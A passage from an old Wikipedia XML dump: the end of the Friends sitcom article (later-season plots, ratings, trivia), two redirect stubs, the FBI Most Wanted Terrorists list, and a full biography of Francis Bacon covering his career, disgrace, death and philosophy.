After finding out that they are now married, Ross and Rachel agree to get an [[annulment]], but Ross doesn't want to have been divorced three times and lies to Rachel, telling her he has had the marriage annulled when he actually hasn't. Rachel finds out and forces Ross to go ahead with the annulment, but they are ineligible for one and file for divorce.  Ross gets a new job teaching paleontology at [[New York University]], and dates Rachel's sister and one of his students named Elizabeth.

Chandler and Monica move in together, and Rachel moves in with Phoebe. Joey gets a female roommate, Janine, and they start dating.  When Janine reveals she doesn't like Chandler and Monica, Joey breaks up with her.  Out of a job and desperate for money, Joey gets a job at Central Perk and tries out other acting gigs until he lands a permanent (but short-lived) role as the main star of Mac and Cheese.  A fire wrecks Phoebe and Rachel's apartment. Rachel moves in with Chandler and Monica, Phoebe moves in with Joey.  They eventually swap, so Rachel lives with Joey instead.  Bruce Willis makes a 3 episode cameo appearance as Elizabeth's father. Towards the end of the season, Chandler decides to propose to Monica, but things don't go smoothly as her ex-boyfriend Richard comes in the finale to almost ruin Chandler's plan. In a dramatic climax, Chandler and Monica become engaged.

=== Season seven (2000-2001)===
Monica and Chandler begin planning their wedding.  Rachel gets a promotion in Ralph Lauren and hires an assistant, Tag, whom she begins dating.  They later break up.  Phoebe's apartment is repaired, but Rachel likes living with Joey so much she doesn't move back in with Phoebe.  Joey's new show Mac and Cheese is cancelled but he is able to return to ''[[Days of Our Lives]]''. The night before his wedding, Chandler disappears. While he is gone, Phoebe finds a positive pregnancy test in Monica's bathroom, and assumes Monica is pregnant. Phoebe and Ross find Chandler at his office and persuade him to come back, but Chandler overhears Phoebe and Rachel talking about Monica's &quot;pregnancy&quot; and disappears again. He quickly returns on his own, however, deciding that a baby wouldn't be so bad. Chandler and Monica get married, but when Chandler tells Monica he knows about the baby, she says she isn't pregnant, and it wasn't her pregnancy test that Phoebe found.

=== Season eight (2001-2002)=== 

Rachel confirms she is pregnant and Ross is the father.  They secretly slept together before Chandler and Monica's wedding.  Ross meets Mona at the wedding and goes out with her for a few months but they break up because of complications arising from his impending fatherhood with Rachel's child.  As Rachel and Joey continue living together, Joey starts to develop feelings for her. Feeling that Ross is missing out on his fatherly duties, Joey reluctantly suggests that Rachel move in with Ross, and she does so. Joey later reveals his feelings to Rachel, who politely rejects him.

Rachel goes into labor, and while she's in the hospital Ross's mother approaches him with a ring to give to Rachel. Ross keeps the ring in his coat pocket, even though he doesn't want to propose to Rachel. After Rachel gives birth to their daughter, Emma, Joey finds the engagement ring.  He bends down to pick it up.  Rachel, seeing Joey on one knee with an engagement ring, thinks that he's proposing to her, and says &quot;yes&quot;.  Monica and Chandler decide to have a baby.

=== Season nine (2002-2003)===
Rachel finds out that Joey wasn't proposing to her, and neither was Ross.  Rachel decides to move back in with Joey and takes Emma with her.  Chandler's job requires him to be in [[Tulsa]]. He puts up with this for a while, but when he finds himself working in Tulsa over Christmas.  When a female associate comes on to him, he quits and starts a new job in advertising.  Chandler and Monica cannot conceive a baby, so decide to adopt.  Phoebe starts dating [[Mike Hanigan]]. They move in together, but when he tells Phoebe he doesn't want to get married they break up.  Rachel begins to develop feelings for Joey.

The group goes to Barbados. Phoebe takes her boyfriend David (whom she first met in the first season) and Joey takes his girlfriend Charlie. Monica learns David is planning on proposing to Phoebe, and calls Mike to tell him to get back together with her. Mike comes to Barbados and proposes to Phoebe. She turns him down, but - knowing their relationship has a future - agrees to take him back.  Joey and Charlie break up. Joey learns Rachel likes him, but refuses her advances because he feels he would be betraying Ross.  However, when Joey sees Charlie and Ross kissing he changes his mind and kisses Rachel.

=== Season ten (2003-2004)===
Joey and Rachel's relationship doesn't last and Charlie goes back to an old boyfriend.  Mike and Phoebe get married, and decide to have a baby.  Chandler and Monica apply to adopt the baby of a pregnant woman named Erica and also decide to move out of their apartment into a house in the suburbs. Erica gives birth to twins, a boy and a girl, who are named Jack (after Monica's dad) and Erica (after Erica).  Rachel accepts a job in Paris. The group holds a going-away party for her and she says goodbye to each of them in turn, except Ross. He is upset about this until Rachel tells him it was too hard to say goodbye to him. They then sleep together.

In the final episode, Ross realizes he still loves Rachel, and after she leaves for Paris, he goes after her. However, she rejects him. Ross gets back to his apartment and finds a message from Rachel on his answering machine, telling him she does still love him and is trying to get off the plane. As the message ends, she arrives at Ross' apartment, and they kiss.  The episode ends with Chandler and Monica moving out of their apartment, and everyone going for one last coffee at Central Perk.

== Ratings ==
The 66-minute [[series finale]] was named by [[Entertainment Tonight]] as the biggest [[United States|US]] TV moment of the year 2004, and was the second highest rated show in 2004 beaten only by the [[Super Bowl XXXVIII|Super Bowl]]. However, it did not surpass the ratings received by series finales for ''[[M*A*S*H (TV series)|M*A*S*H]]'' (106m), ''[[Cheers]]'' (80.4m) or ''[[Seinfeld]]'' (76.3m), nor was it the most watched episode of ''Friends'' —that accolade remains with the season two episode ''The One After the Superbowl'', which aired on [[January 28]], [[1996]] and drew 52.9m viewers.  During the 2001–2002 season, ''Friends'' was the highest rated show in America according to the [[Nielsen Ratings]].

Ratings by country for the finale:
* United States: 52.5m ([[Nielsen Ratings|Nielsen]])
* Canada: 5.159m ([[BBM Canada]])
* United Kingdom: 8.6m ([[BARB]])
* Australia: 2.54m ([[OZTAM]])

== Possible return to television ==
In January 2006, NBC was reported to have announced that the six stars of ''Friends'', including Jennifer Aniston, would reunite to make four &quot;double episode&quot; special editions of the series. The cast were apparently receiving $5 million each for their participation in the specials, which were rumoured to air some time in [[2007]]. [http://www.hollywood.com/news/detail/id/3477372] [http://www.rte.ie/arts/2006/0123/friends.html]

An NBC spokesperson later indicated that these rumours were untrue. [http://smallscreen.monstersandcritics.com/article_1078771.php/NBC_says_forget_%60Friends%60_reunion_rumors]

But the rumours continued after that, with [[Kathleen Turner]] claiming that NBC bosses approached her about reprising her role as Chandler's father within the sitcom: [http://news.bbc.co.uk/1/hi/entertainment/4657516.stm]

However, Nick at Nite is supposedly claiming Friends for syndication in 2011.

== Trivia ==
*The character of Ursula (Phoebe's twin sister) first appeared in the sitcom ''[[Mad About You]]'' as a waitress. [[Lisa Kudrow]] played Ursula on both ''Mad About You'' and ''Friends''.  Phoebe was not originally envisioned as having a twin, but the show's creators added the fact to explain why Kudrow was appearing on two different shows, at one point on the same night. 

*[[James Michael Tyler]]'s character (Gunther) came into the series by accident.  He can be seen as an extra throughout the first season, and when given a line in the second, the directors were adequately impressed that they created a full-time part for him.  He was hired because he was the only extra on the set of the pilot who knew how to operate an [[espresso]] machine.

*[[Central Perk]], the coffee shop on the show, is based on Chomondley's (pronounced Chumley's), a coffee shop/lounge in Usen Castle at [[Brandeis University]], the alma mater of the show's creators.

*Although the show was filmed in [[California]], it took place in the [[Greenwich Village|West Village]] in [[Manhattan]], [[New York City]]. The exterior shot of the Friends' apartment building is actually located at Grove and Bedford streets in the Village.

*The picture frame around the peep hole in Monica and Rachel's apartment originally was a framed mirror, but a crew member accidentally broke it. The producers liked the look and decided not to replace the mirror.

*55 people were paid to come to the studio and watch the first four episodes of &quot;The Six of Us&quot;; the title was thereafter changed to &quot;Friends.&quot;

*Not all episodes were filmed in front of a studio audience. Most episodes were filmed with a [[laugh track]], particularly those featuring Ursula and Phoebe together.

*Alternate titles were &quot;Six Of One&quot;, &quot;Across The Hall&quot;, &quot;Insomnia Cafe&quot; and &quot;Friends Like Us&quot;. 

*In the first six episodes of Season 1, Chandler and Joey's apartment number was 4, and Monica and Rachel's was 5. Shortly after production began, it was decided that the apartment building where much of the show takes place was too big to have upper apartments with numbers as low as 4 and 5, so the numbers were changed to 19 and 20, respectively.

*Courtney Cox was originally approached for the role of Rachel, but convinced the producers that her personality was more suited for the character of Monica&amp;mdash;which, amusingly enough, is the role producers first pitched to Jennifer Aniston.

*Behind the scenes, the show was known for its unusually cohesive and unified cast.  The six main actors made deliberate and conscious efforts, from early on, to keep the show's ensemble format and to not allow any one of them to dominate.  This included requesting that all actors on the show be nominated either for the same category (mostly &quot;Supporting Actor&quot;) or not at all, and entering collective instead of individual salary negotiations.  The actors became such close friends that at least one guest star, Tom Selleck, reported sometimes feeling left out.

*Behind the scenes, Jennifer Aniston and Matthew Perry were really very close friends. 

*Matthew's wit is so legendary that directors often used his gags and suggestions on the show.

*There was one scene where Joey's character was seen to shave his right leg. No dummy was used there, it was really Matt , who shaved his leg.

*David Schwimmer even directed some of the episodes, for ex. The One With the Birth Mother,  The One With Phoebe's Birthday Dinner, The One Where Joey Dates Rachel etc.

*The fictional addresses of the Friends' apartments are:
:Joey's address is 495 Grove St. Apt. 19, New York, NY 10001. 
:Monica's address is 495 Grove St. Apt 20, New York, NY 10001. 
:Phoebe's address is 5 Morton St. Apt. 14, New York, NY 10001

==Trivia game==
A few trivia games have been released over the years as well as a trivia book. The trivia book spans seasons 1-8. There have been two version of a board game released, one being a cardboard box version with fewer questions and the other a die cast collector editon with more questions. Recently, a Scene It version of Friends was released with actual show clips, trivia questions and other puzzles on screen. The trivia includes questions from all ten seasons. A new [[PlayStation 2|PS2]], [[PC]] and [[Xbox]] game called ''&quot;Friends: The One with All the Trivia&quot;'' was released simultaneously with the Season 10 box set. It includes the voices of characters Janice, Gunther and Jack &amp; Judy Geller as hosts.



== External links ==
{{wikiquote}}
* [http://www2.warnerbros.com/friendstv/index.html Official ''Friends'' site]
* {{imdb title|id=0108778|title=Friends}}
* {{tvtome show|id=71|title=Friends}}
* {{dmoz|Arts/Television/Programs/Comedy/Sitcoms/Friends/|''Friends''}}
* [http://tviv.info/wiki/Friends ''Friends''] at the [[TV IV]] Wiki
* [http://www.thesmokinggun.com/archive/0510041friends1.html Negative 1994 NBC research report about the pilot]
* [http://www.friends-tv.org/ The “Original” ''Friends'' Site]
* [http://www.absurdtrivia.com/cats/friends_trivia.php ''Friends'' trivia quizzes]
* [http://www.friendspeich.com''Friends Peich''] Spanish fansite
* [http://www.frenzo.net''Frenzo'' An Assorted Media and News Fan Site]

{{Friends}}


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  </page>
  <page>
    <title>Fundamental forces</title>
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      <timestamp>2004-12-28T21:53:40Z</timestamp>
      <contributor>
        <username>Karada</username>
        <id>6817</id>
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      <comment>#REDIRECT [[Fundamental interaction]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fundamental interaction]]</text>
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  </page>
  <page>
    <title>Frankish</title>
    <id>11317</id>
    <revision>
      <id>21097979</id>
      <timestamp>2005-08-15T22:57:23Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Neutrality|Neutrality]] to last version by Bryan Derksen</comment>
      <text xml:space="preserve">#REDIRECT [[Franks]]</text>
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  <page>
    <title>FBI Most Wanted Terrorists</title>
    <id>11318</id>
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      <id>40507675</id>
      <timestamp>2006-02-21T01:57:27Z</timestamp>
      <contributor>
        <ip>199.46.198.230</ip>
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      <comment>/* List of wanted suspects */</comment>
      <text xml:space="preserve">{{terrorism}}

List of the [[FBI]]'s &quot;'''Most Wanted Terrorists''',&quot; is a list of people considered actively involved in [[terrorism]] within the [[United States]]. It is based on the FBI's [[FBI Ten Most Wanted Fugitives|Ten Most Wanted Fugitives]] list. 

See also [[Terrorism]], [[Terrorist incidents]].

== List of wanted suspects ==
[[World Trade Center bombing]], [[February 26]], [[1993]].
* [[Abdul Rahman Yasin]]

[[Operation Bojinka]] plot, ''foiled'' [[January 6]]-[[January 7|7]], [[1995]].
* [[Khalid Shaikh Mohammed]] -- arrested March [[2003]]

[[Khobar Towers bombing]] in [[Dhahran]], [[Saudi Arabia]], [[June 25]], [[1996]]
* [[Ahmed Ibrahim al-Mughassil]]
* [[Ali Saed Bin Ali el-Houri]]
* [[Ibrahim Salih Mohammed al-Yacoub]]
* [[Abdelkarim Hussein Mohamed al-Nasser]]

[[1998 U.S. embassy bombings]] in [[Nairobi]], [[Kenya]] and [[Dar Es Salaam]], [[Tanzania]], [[August 7]], [[1998]].
* [[Osama bin Laden]]
* [[Muhammad Atef]] -- Killed in [[Afghanistan]]
* [[Ayman al-Zawahiri]]
* [[Fazul Abdullah Mohammed]]
* [[Mustafa Mohamed Fadhil]]
* [[Fahid Mohammed Ally Msalam]]
* [[Ahmed Khalfan Ghailani]] - captured in Pakistan in July 2004
* [[Sheikh Ahmed Salim Swedan]]
* [[Abdullah Ahmed Abdullah]]
* [[Anas Al-Liby]]
* [[Saif al-Adel]] -- [[Iran]] says that it has al-Adel in custody
* [[Ahmed Mohammed Hamed Ali]]
* [[Mushin Musa Matwalli Atwah]]

[[TWA 847 hijacking|Hijacking of TWA 847]], [[June 14]], [[1985]]
* [[Imad Mugniyah]]
* [[Hassan Izz-Al-Din]]
* [[Ali Atwa]]
* [[ Photo Gallery of al Qaeda terrorist suspects still at large]]

==External links==
*[http://www.rewardsforjustice.net/ Rewards for Justice]
*[http://www.fbi.gov/mostwant/terrorists/fugitives.htm FBI Most Wanted Terrorist page]

[[Category:Federal Bureau of Investigation|Most Wanted Terrorists]]</text>
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    <title>Francis Bacon</title>
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      <comment>Reverted edits by [[Special:Contributions/217.40.187.220|217.40.187.220]] ([[User talk:217.40.187.220|talk]]) to last version by Grenavitar</comment>
      <text xml:space="preserve">[[image:Francis_Bacon.jpg|thumb|250px|Sir Francis Bacon]]
{{otherpeople|Francis Bacon}}
'''Francis Bacon, 1st Viscount St Albans''', [[King's Council|KC]] ([[22 January]] [[1561]] &amp;ndash; [[9 April]] [[1626]]) was an [[England|English]] [[philosopher]], [[statesman]], [[freemason]] and [[essayist]]. He was knighted in [[1603]], created '''Baron Verulam''' in [[1618]], and created '''Viscount St Albans''' in [[1621]]; both [[peerage]] titles becoming extinct upon his death.

He began his professional life as a lawyer, but he has become best known as a philosophical advocate and defender of the [[scientific revolution]]. His works establish and popularize an inductive methodology for [[science|scientific]] inquiry, often called the ''[[Baconian method]]''. Induction implies drawing knowledge from the natural world through experimentation, observation, and testing of hypotheses. In the context of his time, such methods were connected with the occult trends of [[hermeticism]] and [[alchemy]].
==Early life==
Francis Bacon was born at York House [[Strand, London|Strand]], [[London]]. He was the youngest of five sons of [[Nicholas Bacon|Sir Nicholas Bacon]], [[Lord Keeper]] of the Great Seal under [[Elizabeth I of England|Elizabeth I]]. His mother, [[Ann Cooke Bacon]] was the second wife of Sir Nicholas, a member of the Reformed or [[Puritan]] Church, and a daughter of Sir [[Anthony Cooke]], whose sister married [[William Cecil, 1st Baron Burghley|William Cecil, Lord Burghley]], the great minister of Queen Elizabeth. 

Biographers believe that Bacon received an education at home in his early years, and that his health during that time, as later, was delicate. He entered [[Trinity College, Cambridge]], in [[1573]] at the age of 12, living for three years there with his older brother [[Anthony Bacon]].

At Cambridge he first met the Queen, who was impressed by his precocious intellect, and was accustomed to call him &quot;the young Lord Keeper.&quot;

Here also his studies of science brought him to the conclusion that the methods (and thus the results) were erroneous. His reverence for [[Aristotle]] conflicted with his dislike of Aristotelian philosophy, which seemed barren, disputatious, and wrong in its objectives.

On [[June 27]], [[1576]], he and Anthony were entered ''de societate magistrorum'' at [[Gray's Inn]], and a few months later they went abroad with Sir [[Amias Paulet]], the English ambassador at [[Paris]]. The disturbed state of government and society in [[France]] under [[Henry III of France|Henry III]] afforded him valuable political instruction.

The sudden death of his father in February [[1579]] necessitated Bacon's return to England, and seriously influenced his fortunes. Sir Nicholas had laid up a considerable sum of money to purchase an estate for his youngest son, but he died before doing so, and Francis was left with only a fifth of that money.  Having started with insufficient means, he borrowed money and became habitually in debt. To support himself, he took up his residence in law at [[Gray's Inn]] in 1579.

==Career==
[[Image:Lord Bacon stamp.png|right|thumb|200px|Lord Bacon Postage Stamp]]
In the fragment ''De Interpretatione Naturae Prooemium'' (written probably about [[1603]]) Bacon analyses his own mental character and establishes his goals, which were threefold: discovery of truth, service to his country, and service to the church. Knowing that a prestigious post would aid him toward these ends, in 1580 he applied, through his uncle, [[William Cecil, 1st Baron Burghley|Lord Burghley]], for some post at [[court]] which might enable him to devote himself to a life of learning. His application failed, and for the next two years he worked quietly at Gray's Inn giving himself seriously to the study of law, until admitted as an [[outer barrister]] in [[1582]]. In [[1584]] he took his seat in [[parliament]] for [[Melcombe]] in [[Dorset]], and subsequently for [[Taunton]] ([[1586]]). He wrote on the condition of parties in the church, and he set down his thoughts on philosophical reform in the lost tract, ''Temporis Partus Maximus'', but he failed to obtain a position of the kind he thought necessary for success.

In the Parliament of [[1586]] he took a prominent part in urging the execution of [[Mary Queen of Scots]].  About this time he seems again to have approached his powerful uncle, the result of which may possibly be traced in his rapid progress at the Bar, and in his receiving, in [[1589]], the reversion to the Clerkship of the [[Star Chamber]], a valuable appointment, the enjoyment of which, however, he did not enter into until [[1608]]. 

During this period Bacon became acquainted with [[Robert Devereux, 2nd Earl of Essex]] (1567-1601), [[Elizabeth I of England|Queen Elizabeth]]'s favourite. By [[1591]] he was acting as the earl's confidential adviser. Bacon took his seat for [[Middlesex]] when in February [[1593]] Elizabeth called a Parliament to investigate a [[Catholic]] plot against her. His opposition to a bill that would levy triple subsidies in half the usual time (he objected to the time span) offended many people; he was accused of seeking popularity, and was for a time excluded from the court. When the [[Attorney-General]]ship fell vacant in [[1594]] and Bacon became a candidate for the office, Lord Essex's influence could not secure him the position; in fashion, Bacon failed to become solicitor in [[1595]].  To console him for these disappointments Essex presented him with a property at Twickenham, which he subsequently sold for £1800, equivalent to a much larger sum now.

[[Image:StatueOfFrancisBacon.jpg|thumb|left|Memorial to Francis Bacon, in the chapel of [[Trinity College, Cambridge]]]]

In [[1596]] he was made a Queen's Counsel, but missed the appointment of [[Master of the Rolls]].  During the next few years, his financial situation remained bad. His friends could find no public office for him, a scheme for retrieving his position by a marriage with the wealthy widow Lady [[Elizabeth Hatton]] failed, and in 1598 he was arrested for debt. His standing in the queen's eyes, however, was beginning to improve. She had begun to employ him in crown affairs a few years previously, and he gradually acquired the standing of one of the learned counsel, though he had no commission or warrant and received no salary. His relationship with the queen also improved when he severed ties with Essex, a fortunate move considering that the latter would be executed for treason in [[1601]]; and Bacon was one of those appointed to investigate the charges against him, and examine witnesses, in connection with which he showed an ungrateful and indecent eagerness in pressing the case against his former friend and benefactor.  This act Bacon endeavoured to justify in ''A Declaration of the Practices and Treasons, etc., of ... the Earl of Essex,'' etc. He received a gift of a fine of £1200 on one of Essex's accomplices. 

The accession of [[James I of England|James I]] brought Bacon into greater favour; he was knighted in [[1603]], and endeavoured to set himself right with the new powers by writing his ''Apologie'' (defence) of his proceedings in the case of Essex, who had favoured the succession of James. In the course of the uneventful first parliament session Bacon married [[Alice Barnham]], the daughter of a well-connected [[London]] alderman. Little or nothing is known of their married life. In his last will he disinherited her. 

However, substantial evidence suggests that Bacon's emotional interests lay elsewhere. John Aubrey in his Brief Lives states that Bacon was &quot;a [[Pederasty|pederast]]&quot;. Bacon's fellow parliamentary member Sir Simonds D'Ewes in his Autobiography and Correspondence writes of Bacon: &quot;yet would he not relinquish the practice of his most horrible &amp; secret sinne of sodomie, keeping still one Godrick, a verie effeminate faced youth, to bee his catamite and bedfellow&quot;. Bacon's mother Lady Ann Bacon expressed clear exasperation with what she believed was her son's behaviour. In a letter to her other son Anthony, she complains of another of Francis's companions &quot;that bloody Percy&quot; whom, she writes, he kept &quot;yea as a coach companion and a bed companion&quot; (&quot;coach companion&quot; in Bacon's day carried louche connotations, as the interior of a traveling coach was one of the few places affording privacy). Bacon exhibited a strong penchant for young Welsh serving-men. One such person, Francis Edney, received the enormous sum of two hundred pounds in Bacon's will. {{ref|SexOr}} 

Meanwhile (in [[1608]]), he had entered upon the Clerkship of the [[Star Chamber]], and was in the enjoyment of a large income; but old debts and present extravagance kept him embarrassed, and he endeavoured to obtain further promotion and wealth by supporting the king in his arbitrary policy.

However, Bacon's services were rewarded in June [[1607]] with the office of Solicitor. In [[1610]] the famous fourth parliament of James met. Despite Bacon's advice to him, James and the Commons found themselves frequently at odds over royal prerogatives and the king's embarrassing extravagance, and the House was dissolved in February 1611. Through this Bacon managed in frequent debate to uphold the prerogative, while retaining the confidence of the Commons. In 1613, Bacon was finally able to become attorney-general, by dint of advising the king to shuffle judicial appointments; and in this capacity he would prosecute Somerset in 1616.  The parliament of April [[1614]] objected to Bacon's presence in the seat for [[University of Cambridge|Cambridge]]&amp;mdash;he was allowed to stay, but a law was passed that forbade the attorney-general to sit in parliament&amp;mdash;and to the various royal plans which Bacon had supported. His obvious influence over the king inspired resentment or apprehension in many of his peers.

Bacon continued to receive the King's favor, and in 1618 was appointed by James to the position of [[Lord Chancellor]].  In his great office Bacon showed a failure of character in striking contrast with the majesty of his intellect. He was corrupt alike politically and judicially, and now the hour of retribution arrived.  His public career ended in disgrace in 1621 when, after having fallen into debt, a Parliamentary Committee on the administration of the law charged him with corruption under 23 counts; and so clear was the evidence that he made no attempt at defence. To the lords, who sent a committee to inquire whether the confession was really his, he replied, &quot;My lords, it is my act, my hand, and my heart; I beseech your lordships to be merciful to a broken reed.&quot; He was sentenced to a fine of £40,000, remitted by the king, to be committed to the Tower during the king's pleasure (which was that he should be released in a few days), and to be incapable of holding office or sitting in parliament. He narrowly escaped being deprived of his titles. Thenceforth he devoted himself to study and writing.

However, Nieves Mathews in her book, ''Francis Bacon: The History of a Character Assassination'' (1996, Yale University Press) alleges that Bacon was completely innocent of the bribery charges and that   writers from later times were themselves guilty of slandering Bacon's reputation. Bacon commenting on his impeachment as Chancellor in which he claims to have been forced to plead guilty to bribery charges in order to save King James from a political scandal stated:

&lt;blockquote&gt; I was the justest judge, that was in England these last fifty years. When the book of all hearts is opened, I trust I shall not be found to have the troubled fountain of a corrupt heart. I know I have clean hands and a clean heart. I am as innocent of bribes as any born on St. Innocents Day. &lt;/blockquote&gt;

==Death==
[[Image:20040912-001-francis-bacon.jpg|thumb|right|Monument to Bacon at his burial place, [[St Michael's church]] in [[St Albans]]]]

The supposed cause of Bacon's death is notoriously comic. In March, [[1626]], he came to London, and shortly after, when driving on a snowy day, he was inspired by the possibility of using snow to preserve meat. Bacon purchased a chicken (fowl) to investigate this possibility, but, during the endeavour of stuffing it with snow, contracted a fatal case of [[pneumonia]]. He died at [[Highgate]] on [[9 April]], [[1626]], leaving assets of about £7,000 and debts to the amount of £22,000.

==Works and Philosophy==
Bacon's works include his ''[[Essays]]'', as well as the ''Colours of Good and Evil'' and the ''Meditationes Sacrae'', all published in [[1597]].  His famous aphorism, &quot;[[knowledge is power]]&quot;, is found in the ''Meditations''.  Bacon also wrote ''In felicem memoriam Elizabethae'', a eulogy for the queen written in 1609 and various philosophical works which constitute the fragmentary and incomplete ''Instauratio magna'', the most important part of which is the ''[[Novum Organum]]'' (published 1620). Bacon also wrote the &quot;Astrologia Sana&quot; and expressed his belief that stars had physical effects on the planet. 

Bacon did not propose an actual philosophy, but rather a method of developing philosophy; he wrote that, whilst philosophy at the time used the deductive syllogism to interpret nature, the philosopher should instead proceed through inductive reasoning from fact to axiom to law. Before beginning this induction, the inquirer is to free his mind from certain false notions or tendencies which distort the truth. These are called &quot;Idols&quot; (idola), and are of four kinds: &quot;Idols of the Tribe&quot; ([[idolon tribus|idola tribus]]), which are common to the race; &quot;Idols of the Den&quot; ([[idolon specus|idola specus]]), which are peculiar to the individual; &quot;Idols of the Marketplace&quot; ([[idolon fori|idola fori]]), coming from the misuse of language; and &quot;Idols of the Theater&quot; ([[idolon theatri|idola theatri]]), which result from an abuse of authority. The end of induction is the discovery of forms, the ways in which natural phenomena occur, the causes from which they proceed.  Bacon's developments of the inductive philosophy would revolutionize the future thought of the human race.

Bacon's somewhat fragmentary ethical system, derived through use of his methods, is explicated in the seventh and eighth books of his ''De augmentis scientiarum'' (1623). He distinguishes between duty to the community, an ethical matter, and duty to God, a purely religious matter. Any moral action is the action of the human will, which is governed by reason and spurred on by the passions; habit is what aids men in directing their will toward the good. No universal rules can be made, as both situations and men's characters differ.

Bacon distinctly separated religion and [[philosophy]], though the two can coexist. Where philosophy is based on reason, faith is based on revelation, and therefore irrational&amp;mdash;in ''De augmentis'' he writes that &quot;[t]he more discordant, therefore, and incredible, the divine mystery is, the more honor is shown to [[God]] in believing it, and the nobler is the victory of faith.&quot;

==Posthumous reputation==

Bacon's ideas about the improvement of the human lot were influential in the 1640s and 1650s among a number of [[Parliamentarian]] scholars. In the [[Restoration]] Bacon was commonly invoked as a guiding spirit of the new-founded [[Royal Society]]. In the nineteenth century his emphasis on [[Induction (philosophy)|induction]] was revived and developed by [[William Whewell]], among others.

Bacon was ranked #90 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].

===Bacon and Shakespeare===

Since the nineteenth and twentieth centuries a number of writers extended Bacon's acknowledged body of work by claiming that Bacon was the author of the plays usually attributed to [[William Shakespeare]]. There is disputed evidence for this via Bacon's Shakespeare notebook, [[The Promus]] and [[The Northumberland Manuscript]]. See: [[Shakespearean authorship]].

==Summary==
&lt;timeline&gt;
ImageSize  = width:450 height:450
PlotArea   = left:50 right:0 bottom:10 top:10

DateFormat = yyyy
Period     = from:1560 till:1630
TimeAxis   = orientation:vertical 
ScaleMajor = unit:year increment:5 start:1560
ScaleMinor = unit:year increment:1 start:1560

PlotData=
  color:red mark:(line, black) align:left fontsize:S 
  shift:(25,0) # shift text to right side of bar

  # there is no automatic collision detection,
  # so shift texts up or down manually to avoid overlap shift:(25,-10) 

  at:1561             text:Born at London
  at:1573 fontsize:XS text:Ed. at Trinity Coll. Cambridge; dissatisfied with Aristotlean philosophy
  at:1579             text:Enters Gray's Inn
  from:1576 till:1579 text:In France
  at:1582             text:Called to Bar
  at:1584             text:Enters Parliament
  at:1591             text:Becomes friend of Essex
  at:1593             text:Essex presents him with estate
  at:1597             text:Publishes first ed of Essays
  at:1601             text:Prosecutes Essex
  at:1605             text:Publishes Advancement of Learning
  at:1607             text:Solicitor General
  at:1609             text:Publishes Wisdom of the Ancients
  at:1613             text:Attorney General
  at:1616             text:Prosecutes Somerset
  at:1618 fontsize:XS text:Lord Keeper
  at:1619 fontsize:XS text:Lord Chancellor with title of Verulam
  at:1620 fontsize:XS text:Publishes Novum Organum
  at:1621 fontsize:XS text:Viscount St. Albans; Charged with corruption, retires from public life.
  at:1622 fontsize:XS text:Publishes Henry VII and third part of Instauratio
  at:1626             text:Dies 
&lt;/timeline&gt;

{{start box}}
{{succession box | title=[[Lord High Chancellor]] | before=[[Thomas Egerton, 1st Baron Ellesmere|Sir Thomas Egerton]] | after=In Commission | years=1617&amp;ndash;1621}}
{{succession box two to two | before=New Creation | title1=[[Viscount St Albans]] | after=Extinct | years1=1621&amp;ndash;1626 | title2=[[Baron Verulam]] | years2=1618&amp;ndash;1626}}
{{end box}}

==Notes==

#{{note|SexOr}} Bacon's sexual orientation is discussed in detail at the website [http://www.infopt.demon.co.uk/baconfra.htm Gay History and Literature].

==References==
* {{1911}}
* {{A Short Biographical Dictionary of English Literature}}
* ''Some material originally from the 1911 Schaff-Herzog Encyclopedia of Religion.''

==External links==
{{wikiquote}}
{{Wikisource author}}
*{{gutenberg author|id=Francis_Bacon|name=Francis Bacon}}
* [http://www.classic-literature.co.uk/british-authors/16th-century/francis-bacon/ Francis Bacon Books]
* [http://etext.library.adelaide.edu.au/aut/bacon_francis.html Online editions of Bacon's works]
* [http://www.constitution.org/bacon/nov_org.htm Novum Organum Online]
* [http://www.sirbacon.org/ Sir Francis Bacon's New Advancement of Learning]
* [http://www.hirohurl.net/engren.html Essays on the English Renaissance]
* [http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-25 ''Dictionary of the History of Ideas'':] Baconianism
* [http://www.infopt.demon.co.uk/baconfra.htm Rictor Norton, &quot;Sir Francis Bacon&quot;] quotes excised passages of [[Sir Simonds D'Ewes]]
* [http://www.quotationsbook.com/authors/377/Bacon_Francis Quotations Book - Francis Bacon]
* [http://plato.stanford.edu/entries/francis-bacon/ Stanford Encyclopedia of Philosophy entry]
* [http://www.twickenham-museum.org.uk/detail.asp?ContentID=184 The Twickenham Museum - Sir Francis Bacon]
* [http://www.henrywotton.org.uk/ Henry Wotton employed by Bacon's intelligence system]
*[http://www.fbrt.org.uk/frameset.html Francis Bacon Research Trust -  Studies of Bacon's connections to the [[Rosicrucian]]s, [[Freemasonry]], [[Shakespeare]]]
* [http://nrg78.com/ipw-web/b2/index.php?m=20051017#108 - ''For knowledge itself is power'': a blog post that compares Bacon to Machiavelli.]
* [http://www.earlymoderntexts.com A READABLE version of the New Organon]


[[Category:1561 births|Bacon, Francis]]
[[Category:1626 deaths|Bacon, Francis]]
[[Category:Alumni of Trinity College, Cambridge|Bacon, Francis]]
[[Category:Anglicans|Bacon, Francis]]
[[Category:British MPs|Bacon, Francis]]
[[Category:Early modern philosophers|Bacon, Francis]]
[[Category:Empiricists]]
[[Category:English essayists|Bacon, Francis]]
[[Category:English spies|Bacon, Francis]]
[[Category:History of science|Bacon, Francis]]
[[Category:Lord Chancellors of England|Bacon, Francis]]
[[Category:Medieval spies|Bacon, Francis]]
[[Category:Polymaths|Bacon, Francis]]
[[Category:Tudor people|Bacon, Francis]]
[[Category:Viscounts in the Peerage of England|St Albans, Viscount 01-001]]
[[Category:Rhetoricians|Bacon, Francis]]
[[Category:Pederasty|Bacon, Francis]]

&lt;!--Interlanguage links--&gt;
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[[fa:فرانسيس بيكن]]
[[fr:Francis Bacon (philosophe)]]
[[gl:Francis Bacon (filósofo)]]
[[ko:프랜시스 베이컨]]
[[io:Francis Bacon]]
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[[he:פרנסיס בייקון]]
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[[mk:Френсис Бекон]]
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[[ja:フランシス・ベーコン (哲学者)]]
[[pl:Francis Bacon (filozof)]]
[[pt:Francis Bacon (filósofo)]]
[[ru:Бэкон, Фрэнсис]]
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[[sr:Френсис Бекон]]
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[[uk:Бекон Френсіс]]
[[zh:弗兰西斯·培根]]</text>
    </revision>
  </page>
  <page>
    <title>February 2</title>
    <id>11322</id>
    <revision>
      <id>40904469</id>
